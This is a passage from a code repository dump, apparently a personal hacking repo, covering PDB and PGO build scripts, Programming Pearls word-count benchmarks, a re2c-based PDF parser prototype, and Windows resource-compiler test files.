translate([0, 0, -3]) scale(10) cells(); 29 | difference() { 30 | translate([0, 0, -3]) sphere(10.3, center=true); 31 | translate([0, 0, -3]) sphere(9.8, center=true); 32 | } 33 | } 34 | } 35 | 36 | // head 37 | translate([10, 0, -1]) sphere(4, center=true); 38 | for (my = [-1, 1]) scale([1, my, 1]) 39 | translate([11.5, 1.8, 1.8]) sphere(0.7, center=true); 40 | 41 | 42 | // tail 43 | rotate([0, -90, 0]) cylinder(h=12, r=5, r2=0); 44 | 45 | // feet 46 | for (mx = [-1, 1]) for (my = [-1, 1]) scale([mx, my, 1]) 47 | translate([6.5, 6.5, -1]) sphere(2, center=true); 48 | } 49 | translate([0, 0, 500]) cube(1000, 1000, 1000, center=true); 50 | } 51 | -------------------------------------------------------------------------------- /pdb/.gitignore: -------------------------------------------------------------------------------- 1 | file.exe 2 | file.obj 3 | file.pdb 4 | file2.obj 5 | -------------------------------------------------------------------------------- /pdb/build.bat: -------------------------------------------------------------------------------- 1 | clang-cl /Zi -no-canonical-prefixes -fdebug-compilation-dir . -c file.cc 2 | clang-cl /Zi -no-canonical-prefixes -fdebug-compilation-dir . -c subdir\file2.cc 3 | lld-link /debug /pdbaltpath:%_PDB% /pdbsourcepath:o:\ file.obj file2.obj 4 | -------------------------------------------------------------------------------- /pdb/builddir.bat: -------------------------------------------------------------------------------- 1 | mkdir build 2 | cd build 3 | clang-cl /Zi -no-canonical-prefixes -fdebug-compilation-dir . -c ..\file.cc 4 | clang-cl /Zi -no-canonical-prefixes -fdebug-compilation-dir . -c ..\subdir\file2.cc 5 | lld-link /debug /pdbaltpath:%_PDB% /pdbsourcepath:o:\ file.obj file2.obj 6 | cd .. 7 | -------------------------------------------------------------------------------- /pdb/debug.bat: -------------------------------------------------------------------------------- 1 | windbg -srcpath . -c "bp file!f; g; dv" file.exe 2 | -------------------------------------------------------------------------------- /pdb/file.cc: -------------------------------------------------------------------------------- 1 | int f(int i); 2 | int main() { 3 | return f(42); 4 | } 5 | -------------------------------------------------------------------------------- /pdb/subdir/file2.cc: -------------------------------------------------------------------------------- 1 | int f(int i) { return i; } 2 | -------------------------------------------------------------------------------- /pearls/sec151_chash.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | http://www.cs.bell-labs.com/cm/cs/pearls/sec151.html 3 | $ clang -o s151_c sec151_chash.cpp -O2 4 | $ time ./s151_c < ~/Downloads/bible11.txt > /dev/null 5 | 6 | real 0m0.082s 7 | user 0m0.076s 8 | sys 0m0.003s 9 | */ 10 | #include 11 | #include 12 | #include 13 | 14 | typedef struct node *nodeptr; 15 | typedef struct node { 16 | char *word; 17 | int count; 18 | nodeptr next; 19 | } node; 20 | 21 | #define NHASH 29989 22 | #define MULT 31 23 | nodeptr bin[NHASH]; 24 | 25 | unsigned int hash(char *p) { 26 | unsigned int h = 0; 27 | for ( ; *p; p++) 28 | h = MULT * h + *p; 29 | return h % NHASH; 30 | } 31 | 32 | void incword(char *s) { 33 | nodeptr p; 34 | unsigned int h = hash(s); 35 | for (p = bin[h]; p != NULL; p = p->next) 36 | if (strcmp(s, p->word) == 0) { 37 | (p->count)++; 38 | return; 39 | } 40 | p = (node*)malloc(sizeof(node)); 41 | p->count = 1; 42 | p->word = (char*)malloc(strlen(s)+1); 43 | strcpy(p->word, s); 44 | p->next = bin[h]; 45 | bin[h] = p; 46 | } 47 | 48 | int main(void) { 49 | char buf[1024]; 50 | for (int i = 0; i < NHASH; ++i) 51 | bin[i] = NULL; 52 | while (scanf("%s", buf) != EOF) 53 | incword(buf); 54 | for (int i = 0; i < NHASH; ++i) 55 | for (nodeptr p = bin[i]; p != NULL; p = p->next) 56 | printf("%s %u\n", p->word, p->count); 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /pearls/sec151_stlmap.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | http://www.cs.bell-labs.com/cm/cs/pearls/sec151.html 3 | $ clang++ -o s151_map sec151_stlmap.cpp -O2 -stdlib=libc++ 4 | $ time ./s151_map < ~/Downloads/bible11.txt > /dev/null 5 | 6 | real 0m0.557s 7 | user 0m0.548s 8 | sys 0m0.005s 9 | 10 | $ clang++ -o s151_map sec151_stlmap.cpp -O2 11 | $ time ./s151_map < ~/Downloads/bible11.txt > /dev/null 12 | 13 | real 0m0.403s 14 | user 0m0.396s 15 | sys 0m0.006s 16 | 17 | => http://llvm.org/PR14554 :-/ 18 | */ 19 | #include 20 | #include 21 | #include 22 | using namespace std; 23 | 24 | int main(void) 25 | { map M; 26 | map::iterator j; 27 | string t; 28 | while (cin >> t) 29 | M[t]++; 30 | for (j = M.begin(); j != M.end(); ++j) 31 | cout << j->first << " " << j->second << "\n"; 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /pearls/sec151_stlunorderedmap.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | http://www.cs.bell-labs.com/cm/cs/pearls/sec151.html 3 | $ clang++ -o s151_hash sec151_stlunorderedmap.cpp -O2 -stdlib=libc++ 4 | $ time ./s151_hash < ~/Downloads/bible11.txt > /dev/null 5 | 6 | real 0m0.424s 7 | user 0m0.418s 8 | sys 0m0.005s 9 | 10 | $ clang++ -o s151_hash sec151_stlunorderedmap.cpp -O2 11 | $ time ./s151_hash < ~/Downloads/bible11.txt > /dev/null 12 | 13 | real 0m0.294s 14 | user 0m0.288s 15 | sys 0m0.005s 16 | 17 | => http://llvm.org/PR14555 18 | */ 19 | #include 20 | #include 21 | 22 | // hash_map instead of unordered_map to compare to gcc4.2 23 | #pragma clang diagnostic ignored "-W#warnings" 24 | #include 25 | using __gnu_cxx::hash_map; 26 | using namespace std; 27 | 28 | namespace __gnu_cxx { 29 | template<> 30 | struct hash { 31 | size_t operator()(const std::string& s) const { 32 | return hash()(s.c_str()); 33 | } 34 | }; 35 | } 36 | 37 | int main(void) 38 | { hash_map M; 39 | hash_map::iterator j; 40 | string t; 41 | while (cin >> t) 42 | M[t]++; 43 | for (j = M.begin(); j != M.end(); ++j) 44 | cout << j->first << " " << j->second << "\n"; 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /pgotest/.gitignore: -------------------------------------------------------------------------------- 1 | *.prof 2 | *.profraw 3 | a.out* 4 | -------------------------------------------------------------------------------- /pgotest/bar.cc: -------------------------------------------------------------------------------- 1 | #include 2 | void f(int); 3 | int main(int argc, char* argv []) { 4 | long l = strtol(argv[1], nullptr, 10); 5 | for (int i = 0; i < l; ++i) 6 | f(i); 7 | } 8 | -------------------------------------------------------------------------------- /pgotest/baz.cc: -------------------------------------------------------------------------------- 1 | int k; 2 | void f(int i) { 3 | if (i % 2) ++k; 4 | } 5 | -------------------------------------------------------------------------------- /pgotest/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rm -rf *.profraw *.prof a.out.* 3 | 4 | set -x 5 | 6 | CFLAGS="-std=c++11 -O2 -isysroot $(xcrun -show-sdk-path)" 7 | 8 | # vanilla 9 | ~/src/llvm-project/out/gn/bin/clang bar.cc baz.cc $CFLAGS -o a.out.vanilla 10 | 11 | # clang instrumentation 12 | ~/src/llvm-project/out/gn/bin/clang -fprofile-instr-generate=prof-instr.profraw bar.cc baz.cc $CFLAGS -o a.out.prof-instr-gen 13 | ./a.out.prof-instr-gen 100000 14 | ~/src/llvm-project/out/gn/bin/llvm-profdata merge -output=prof-instr.prof prof-instr.profraw 15 | ~/src/llvm-project/out/gn/bin/clang -fprofile-instr-use=prof-instr.prof bar.cc baz.cc $CFLAGS -o a.out.prof-instr-use 16 | 17 | # IR instrumentation 18 | ~/src/llvm-project/out/gn/bin/clang -fprofile-generate=prof.profraw bar.cc baz.cc $CFLAGS -o a.out.prof-gen 19 | ./a.out.prof-gen 100000 20 | ~/src/llvm-project/out/gn/bin/llvm-profdata merge -output=prof.prof prof.profraw/default*.profraw 21 | ~/src/llvm-project/out/gn/bin/clang -fprofile-use=prof.prof bar.cc baz.cc $CFLAGS -o a.out.prof-use 22 | 23 | # CSIR instrumentation (first 3 steps identical to previous) 24 | ~/src/llvm-project/out/gn/bin/clang -fprofile-generate=prof-cs-1.profraw bar.cc baz.cc $CFLAGS -o a.out.prof-gen-cs-1 25 | ./a.out.prof-gen-cs-1 100000 26 | ~/src/llvm-project/out/gn/bin/llvm-profdata merge -output=prof-cs-1.prof prof-cs-1.profraw/default*.profraw 27 | 28 | ~/src/llvm-project/out/gn/bin/clang -fprofile-use=prof-cs-1.prof -fcs-profile-generate=prof-cs-2.profraw bar.cc baz.cc $CFLAGS -o a.out.prof-gen-cs-2 29 | ./a.out.prof-gen-cs-2 100000 30 | ~/src/llvm-project/out/gn/bin/llvm-profdata merge -output=prof-cs-2.prof prof-cs-2.profraw/default*.profraw prof-cs-1.prof 31 | ~/src/llvm-project/out/gn/bin/clang -fprofile-use=prof-cs-2.prof bar.cc baz.cc $CFLAGS -o a.out.prof-cs-use 32 | -------------------------------------------------------------------------------- /predraft/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | -------------------------------------------------------------------------------- /predraft/build.ninja: -------------------------------------------------------------------------------- 1 | env = PATH=/Users/test/src/llvm-rw/Release+Asserts/bin:/Users/test/src/re2c/:$$PATH 2 | rule cxx 3 | command = $env clang++ -fcolor-diagnostics -Wall -g -std=c++11 -c $in -o $out 4 | description = CXX $out 5 | rule re2c 6 | command = $env re2c -b -i --no-generation-date -o $out $in 7 | description = RE2C $out 8 | rule link 9 | command = $env clang++ $in -o $out 10 | description = LINK $out 11 | 12 | build prototypes/p1.cc: re2c prototypes/p1.in.cc 13 | build prototypes/p1.o: cxx prototypes/p1.cc 14 | build p1: link prototypes/p1.o 15 | -------------------------------------------------------------------------------- /predraft/object.h: -------------------------------------------------------------------------------- 1 | enum { 2 | Integer, 3 | Real, 4 | 5 | String, // (hi) 6 | Name, // /hi 7 | 8 | Bool, 9 | Null, 10 | 11 | 12 | Array, // [0 1 2] 13 | Dictionary, // <> 14 | Stream, 15 | 16 | Reference, // 4 0 R 17 | 18 | Object, // 4 0 obj ... endobj (?) 19 | } 20 | -------------------------------------------------------------------------------- /predraft/parser.in.c: -------------------------------------------------------------------------------- 1 | /* 2 | pdfobject ::= Null 3 | | Boolean of bool `true`, `false` 4 | | Integer of int 123 43445 +17 −98 0 5 | | Real of real 34.5 −3.62 +123.6 4. −.002 0.0 6 | | String of string (literal string), 7 | | Name of string 8 | | Array of pdfobject array 9 | | Dictionary of (string, pdfobject) array Array of (string, pdfobject) pairs 10 | | Stream of (pdfobject, bytes) Stream dictionary and stream data 11 | | Indirect of int 12 | */ 13 | 14 | /* 15 | 1. Read the PDF header from the beginning of the file, checking that this is, 16 | indeed, a PDF document and retrieving its version number. 17 | 18 | 1b. Check for linearization dictionary after header. 19 | 20 | 2. The end-of-file marker is now found, by searching backward from the end of 21 | the file. The trailer dictionary can now be read, and the byte offset of the 22 | start of the cross-reference table retrieved. 23 | 24 | 3. The cross-reference table can now be read. We now know where each object in 25 | the file is. 26 | 27 | 4. At this stage, all the objects can be read and parsed, or we can leave this 28 | process until each object is actually needed, reading it on demand. 29 | 30 | 5. We can now use the data, extracting the pages, parsing graphical content, 31 | extracting metadata, and so on. 32 | */ 33 | int parse_pdf() { 34 | 35 | // 1. Header 36 | // %PDF-1.0 37 | // %nonasciichars 38 | 39 | // 2. Body 40 | // `objnum` gennum obj 41 | // (any pdfobject) 42 | // `endobj` 43 | 44 | // 3. Cross-reference table 45 | // `xref` 46 | // 0 n 47 | // 0000000000 65535 f 48 | // 0000000015 00000 `n` n times (offset, size, `n`) 49 | 50 | // 4. Trailer 51 | // `trailer` 52 | 53 | // 5. %%EOF 54 | } 55 | 56 | -------------------------------------------------------------------------------- /predraft/prototypes/p1.in.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | using namespace std; 6 | 7 | int ReadFile(const string& path, string* contents, string* err) { 8 | FILE* f = fopen(path.c_str(), "r"); 9 | if (!f) { 10 | err->assign(strerror(errno)); 11 | return -errno; 12 | } 13 | 14 | char buf[64 << 10]; 15 | size_t len; 16 | while ((len = fread(buf, 1, sizeof(buf), f)) > 0) { 17 | contents->append(buf, len); 18 | } 19 | if (ferror(f)) { 20 | err->assign(strerror(errno)); // XXX errno? 21 | contents->clear(); 22 | fclose(f); 23 | return -errno; 24 | } 25 | fclose(f); 26 | return 0; 27 | } 28 | 29 | enum TokenKind { 30 | Whitespace, 31 | EndOfLine, 32 | Delimiter, 33 | Literal, 34 | }; 35 | 36 | struct Token { 37 | TokenKind kind; 38 | char spelling; 39 | }; 40 | 41 | TokenKind ReadToken(const char** cursor) { 42 | const char* p = *cursor; 43 | const char* q; 44 | TokenKind token; 45 | for (;;) { 46 | /*!re2c 47 | re2c:define:YYCTYPE = "unsigned char"; 48 | re2c:define:YYCURSOR = p; 49 | re2c:define:YYMARKER = q; 50 | re2c:yyfill:enable = 0; 51 | 52 | eol = "\r\n"|"\r"|"\n"; 53 | whitespace = [\t\n\f\r ]|"\000"; 54 | delim = [{}<>[\]{}/%]; 55 | 56 | whitespace*"%"[^whitespace]*eol { continue; } 57 | eol { token = EndOfLine; } 58 | whitespace { token = Whitespace; } 59 | delim { token = Delimiter; } 60 | */ 61 | } 62 | 63 | *cursor = p; 64 | return token; 65 | } 66 | 67 | void Load(const char* f) { 68 | while (*f) { 69 | ReadToken(&f); 70 | } 71 | } 72 | 73 | int main(int argc, char* argv[]) { 74 | for (int i = 1; i < argc; ++i) { 75 | string contents, err; 76 | if (ReadFile(argv[i], &contents, &err) != 0) 77 | fprintf(stderr, "%s: %s\n", argv[i], err.c_str()); 78 | Load(contents.c_str()); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /predraft/stream.h: -------------------------------------------------------------------------------- 1 | enum { 2 | ASCIIHexDecode, 3 | ASCII85Decode, 4 | LZWDecode, 5 | FlateDecode, 6 | RunLengthDecode, 7 | CCITTFaxDecode, 8 | JBIG2Decode, 9 | DCTDecode, 10 | JPXDecode, 11 | } 12 | 13 | typedef unsigned short predraftCompression; 14 | -------------------------------------------------------------------------------- /res/test/accelerators.rc: -------------------------------------------------------------------------------- 1 | 43 acCeLERATORs 2 | { 3 | "b", 15 4 | "C", 16 5 | "^D", 17 6 | 7 | "b", 25, AscII 8 | "C", 26, ASCII, VIRTKey, ASCII 9 | "^D", 27, ASCII 10 | 20, 28, ASCII 11 | 12 | // "When VIRTKEY is specified and event contains a string, event must be 13 | // uppercase." -- but rc.exe doesn't care, it accepts this: 14 | "\x62", 35, VIRTKEY 15 | "C", 36, VIRTKEY 16 | //"^D", 37, VIRTKEY 17 | // ^ "warning RC4204 : ASCII character not equivalent to virtual key code" 18 | 20, 38, VIRTKEY 19 | 20 | "b", 25, VIRTKEY, NOinVERT, AlT, SHIft, coNTROL 21 | L"b", 25, NOINVERT, ALT, VIRTKEY, SHIFT, CONTROL 22 | "b", 25, VIRTKEY, ALT, ALT, ALT 23 | "b", 25, VIRTKEY, NOINVERT 24 | "b", 25, VIRTKEY, SHIFT 25 | "b", 25, VIRTKEY, CONTROL 26 | 98, 25, VIRTKEY, CONTROL // b 27 | 28 | // "warning RC4203 : SHIFT or CONTROL used without VIRTKEY" when using ASCII 29 | // with SHIFT or CONTROL. 30 | "b", 25, ASCII, NOINVERT, ALT 31 | 32 | "^C", 42 // control C 33 | "^c", 42 // control C 34 | "A", 43 // shift A 35 | "a", 44, ALT // alt a 36 | 97, 45, ASCII // a 37 | 65, 46, ASCII // A (shift a) 38 | "g", 47 // g 39 | 40 | "Lb", 15 41 | "^^", 15 42 | //"Lbd", 15 // "error RC2155 : invalid accelerator" 43 | } 44 | -------------------------------------------------------------------------------- /res/test/accelerators.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/accelerators.res -------------------------------------------------------------------------------- /res/test/bitmap.rc: -------------------------------------------------------------------------------- 1 | 43 BITMAP "test/bitmap_4.bmp" 2 | 44 bitMAp "test/bitmap_8.bmp" 3 | 45 BITMAP "test/bitmap_24.bmp" 4 | 46 BITMAP "test/bitmap_trailing_garbage.bmp" 5 | -------------------------------------------------------------------------------- /res/test/bitmap.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/bitmap.res -------------------------------------------------------------------------------- /res/test/bitmap_24.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/bitmap_24.bmp -------------------------------------------------------------------------------- /res/test/bitmap_4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/bitmap_4.bmp -------------------------------------------------------------------------------- /res/test/bitmap_8.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/bitmap_8.bmp -------------------------------------------------------------------------------- /res/test/bitmap_trailing_garbage.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/bitmap_trailing_garbage.bmp -------------------------------------------------------------------------------- /res/test/cursor.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/cursor.cur -------------------------------------------------------------------------------- /res/test/cursor.rc: -------------------------------------------------------------------------------- 1 | 70000 CURSOR "test/cursor.cur" 2 | 70001 CUrsoR "test/cursor_8.cur" 3 | 70002 cURSOR "test/cursor_32.cur" 4 | -------------------------------------------------------------------------------- /res/test/cursor.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/cursor.res -------------------------------------------------------------------------------- /res/test/cursor_32.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/cursor_32.cur -------------------------------------------------------------------------------- /res/test/cursor_8.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/cursor_8.cur -------------------------------------------------------------------------------- /res/test/custom.rc: -------------------------------------------------------------------------------- 1 | 0 TEXTINCLUDE "test/foo.html" 2 | 0x0 TEXTINCLUDE "test/foo.html" 3 | 1 TEXTINCLUDE "test/foo.html" 4 | 2 TYPELIB "test/foo.html" 5 | 3 REGISTRY "test/foo.html" 6 | 3 GOOGLEUPDATEAPPLICATIONCOMMANDS "test/foo.html" 7 | 4 foo "test/foo.html" 8 | 5 1234 "test/foo.html" 9 | 5 0 "test/foo.html" 10 | 5 0x0 "test/foo.html" 11 | "bar" 1234 "test/foo.html" 12 | "bar" baz L"t\x65st/foo.html" 13 | L"bar" l"baz" "test/foo.html" 14 | bar baz "test/foo.html" 15 | -------------------------------------------------------------------------------- /res/test/custom.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/custom.res -------------------------------------------------------------------------------- /res/test/custom_inline.rc: -------------------------------------------------------------------------------- 1 | 1 CUSTOM { "foo" } 2 | 1 CUSTOM { L"foo" } 3 | 1 CUSTOM { L"foo" "bar" L"baz" } 4 | 1 CSTOM { "foo" "b" } // No trailing \0! 5 | 1 CUOM { "foo" "ba" } 6 | 1 CUS { "foo" "bar" } 7 | 2 CM { "foo", "bar" } 8 | // Can't have a comma right after { 9 | 2 C { "foo",, "bar",,, } 10 | 3 CUSTOM { "val1" 8 "val2" } 11 | 4 CUSTOM { "val1", 8 "val2" END 12 | 5 CUSTOM BEGIN "val1" 8, "val2" } 13 | 6 CUSTOM { "val1" "v" "v", 8, "val2" "v" } 14 | 7 CUSTOM { 8 "val1" 9 } 15 | 8 CUSTOM { 8, "val1", 9 } 16 | 9 CUSTOM { 8 "val1", 9 } 17 | 10 CUSTOM { 8, "val1", 9 } 18 | 19 | 20 | 11 CUSTOM { 4L, 2L } // 32 21 | 12 CUSTOM { 4l, 2L } // 32 22 | 13 CUSTOM { 4labdf, 2L } // 32 23 | 14 CUSTOM { 4Labdf, 2L } // 32 24 | 15 CUSTOM { 4abdfl, 2L } // 16 25 | 16 CUSTOM { 4abdfL, 2L } // 16 26 | 27 | 17 CUSTOM {} 28 | 18 CUSTOM { "" } 29 | 19 CUSTOM { "" "" } 30 | 20 CUSTOM { "",,, "" } 31 | //21 CUSTOM { BLOCK } // error 32 | //21 CUSTOM { VALUE } // error 33 | 34 | 30 CUSTOM { 4 + 2L, 5 } 35 | 31 CUSTOM { 4L + 2, 5 } 36 | 32 CUSTOM { 4L + 2L, 5 } 37 | 38 | -------------------------------------------------------------------------------- /res/test/custom_inline.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/custom_inline.res -------------------------------------------------------------------------------- /res/test/cwdfile.txt: -------------------------------------------------------------------------------- 1 | cwdfile 2 | -------------------------------------------------------------------------------- /res/test/dialog_controls.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dialog_controls.res -------------------------------------------------------------------------------- /res/test/dialog_nocontrols.rc: -------------------------------------------------------------------------------- 1 | 1 DIALOG 1,2,3,4 // can have math in these 2 | BegIN ENd 3 | 4 | 2 DIALOG 1 2 3 4 5 | // Also CHARACTERISTICS, LANGUAGE, VERSION, like other resources 6 | CaPTION "Hi" 7 | BEGIN END 8 | 9 | 31 dIAlog 1,2 3,4 10 | claSS "Hi" 11 | BEGIN END 12 | 13 | 32 DIALOG 1,2,3,4 14 | CLASS 42 // uint16_t; can have math here 15 | BEGIN END 16 | 17 | 4 DIALOG 1,2,3,4 18 | EXStyLE 8 // WS_EX_TOPMOST; can have math here 19 | BEGIN END 20 | 21 | 5 DIALOG 1,2,3,4 22 | // The docs also mention `weight, italic, charset` after these, but rc 23 | // accepts those only in DIALOGEX. 24 | FOnT 12, "Inconsolata" 25 | BEGIN END 26 | 27 | 61 DIALOG 1,2,3,4 28 | mENU "MyMenu" 29 | BEGIN END 30 | 31 | 62 DIALOG 1,2,3,4 32 | MENU 42 33 | BEGIN END 34 | 35 | 7 DIALOG 1,2,3,4 36 | StYLE 42 // Not a real WS_ or DS_ style; can have math here. 37 | BEGIN END 38 | -------------------------------------------------------------------------------- /res/test/dialog_nocontrols.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dialog_nocontrols.res -------------------------------------------------------------------------------- /res/test/dialogex_controls.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dialogex_controls.res -------------------------------------------------------------------------------- /res/test/dialogex_nocontrols.rc: -------------------------------------------------------------------------------- 1 | // DIALOGEX is like DIALOG but also allows (only non-control related): 2 | // - a helpID after the size rect 3 | // - font weight and italic setting for FONT 4 | 5 | 1 DIALOGEX 1,2,3,4, 33 // Now with helpID 6 | BEGIN END 7 | 8 | 2 dIaLoGEx 1 2 3,4 9 | CAPTION "Hi" 10 | BEGIN END 11 | 12 | 31 DIALOGEX 1,2,3 4 13 | CLASS "Hi" 14 | BEGIN END 15 | 16 | 32 DIALOGEX 1 2 3 4 17 | CLASS 42 // uint16_t; can have math here 18 | BEGIN END 19 | 20 | 4 DIALOGEX 1,2,3,4 21 | EXSTYLE 0x10008 22 | BEGIN END 23 | 24 | 51 DIALOGEX 1,2,3,4 25 | // Now with `weight, italic, charset` fields. 26 | FONT 12, "Inconsolata", 400, /*italic=*/1, 2 27 | BEGIN END 28 | 29 | 52 DIALOGEX 1,2,3,4 30 | // Test default values for `weight, italic, charset` with DIALOGEX 31 | FONT 12, "Inconsolata" 32 | BEGIN END 33 | 34 | 35 | 61 DIALOGEX 1,2,3,4 36 | MENU "MyMenu" 37 | BEGIN END 38 | 39 | 62 DIALOGEX 1,2,3,4 40 | MENU 42 41 | BEGIN END 42 | 43 | 7 DIALOGEX 1,2,3,4 44 | STYLE 42 // Not a real WS_ or DS_ style; can have math here. 45 | BEGIN END 46 | -------------------------------------------------------------------------------- /res/test/dialogex_nocontrols.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dialogex_nocontrols.res -------------------------------------------------------------------------------- /res/test/dir1/file.txt: -------------------------------------------------------------------------------- 1 | f1_1x 2 | -------------------------------------------------------------------------------- /res/test/dir2/dir1/file.txt: -------------------------------------------------------------------------------- 1 | f1_12x 2 | -------------------------------------------------------------------------------- /res/test/dir2/file.txt: -------------------------------------------------------------------------------- 1 | f1_2x 2 | -------------------------------------------------------------------------------- /res/test/dirsearch.rc: -------------------------------------------------------------------------------- 1 | 1 RCDATA "file.txt" 2 | 1 RCDATA "file2.txt" 3 | 1 RCDATA "cwdfile.txt" 4 | 1 RCDATA "dir1/file.txt" 5 | -------------------------------------------------------------------------------- /res/test/dirsearch.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dirsearch.res -------------------------------------------------------------------------------- /res/test/dirsearchIdir1.Idir2.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dirsearchIdir1.Idir2.res -------------------------------------------------------------------------------- /res/test/dirsearchIdir1.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dirsearchIdir1.res -------------------------------------------------------------------------------- /res/test/dirsearchIdir2.Idir1.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dirsearchIdir2.Idir1.res -------------------------------------------------------------------------------- /res/test/dirsearchIdir2.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dirsearchIdir2.res -------------------------------------------------------------------------------- /res/test/dirsearchIdir2dir1.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dirsearchIdir2dir1.res -------------------------------------------------------------------------------- /res/test/dlginclude.rc: -------------------------------------------------------------------------------- 1 | 1 DLGINCLUDE "" 2 | 1 dlGInclUDE "foo_bar.h" 3 | -------------------------------------------------------------------------------- /res/test/dlginclude.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/dlginclude.res -------------------------------------------------------------------------------- /res/test/eval.rc: -------------------------------------------------------------------------------- 1 | // Tests integer expressions in various places. 2 | // The goal is to produce the same output as rc.exe in all cases where the 3 | // reimplementation produces output, but it's allowed to be more strict 4 | // and reject nonsensical input (e.g. `10*10` silently produces `10` in rc.exe) 5 | 1 DIALOG 1, 2, 3, 4 6 | STYLE 0x80000000 | -1 & 3 | 8 + 4 7 | EXSTYLE ~1 & 3 | 8 - 1 8 | BEGIN 9 | AUTO3STATE "a32", 30+30, 0+0, 0|0, 101-1, 80+0, 0+1 10 | // FIXME: a style of 0-2 produces the default style, not 0xfffffffe. 11 | // Maybe - in a style only clears bits but can't set them? 12 | // FIXME: making the next line end with "2-0" confuses rc.exe very much. 13 | // FIXME: making the next line end with "2-1" lets rc subtract 1 from the 14 | // default style instead of or'ing 1 in. Maybe a - anywhere in the style 15 | // means "remove bit" even if the whole expression is positive?? 16 | //AUTO3STATE "a32", 31+30, 0+0, 0|0, 101-1, 80+0, 2-1 17 | AUTO3STATE "a32", 32+30, 0+0, 0|0, 101-1, 80+0, 0|3 18 | // FIXME: expressions containing & in style: 19 | // Madness: If a & appears in the style constant, then rc.exe sets the 20 | // style to the result of that expression instead of or'ing it to the 21 | // default style as usual. 22 | //AUTO3STATE "a32", 34+30, 0+0, 0|0, 101-1, 80+0, 0&4 23 | // Hm no it's even more crazy: The next two lines both produce a style of 4! 24 | //AUTO3STATE "a32", 33+30, 0+0, 0|0, 101-1, 80+0, 2|(0&4) 25 | //AUTO3STATE "a32", 35+30, 0+0, 0|0, 101-1, 80+0, (2&3)|0 26 | CONTROL "c", 4+4, "STATIC", 0, 1, 2, 100, 80 27 | 28 | AUTO3STATE "a32", 39+30, 0+0, 0|0, 101-1, 80+0, 0|3, 0|3 29 | // FIXME: make this work in the reimplementation, see FIXME in source 30 | //AUTO3STATE "a32", 39+30, 0+0, 0|0, 101-1, 80+0, 0|3, ~0 31 | END 32 | 33 | 2 VERSIONINFO 34 | FILEVERSION 1+2,3+4,5|6,7|8 35 | PRODUCTVERSION 1+2,3+4,5|6,7|8 36 | FILEFLAGS 1|2 37 | FILEOS 1|2 38 | FILETYPE 1|2 39 | FILESUBTYPE 1|2 40 | BEGIN 41 | END 42 | -------------------------------------------------------------------------------- /res/test/eval.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/res/test/eval.res -------------------------------------------------------------------------------- /res/test/file2.txt: -------------------------------------------------------------------------------- 1 | file2x 2 | -------------------------------------------------------------------------------- /res/test/foo.html: -------------------------------------------------------------------------------- 1 | 2 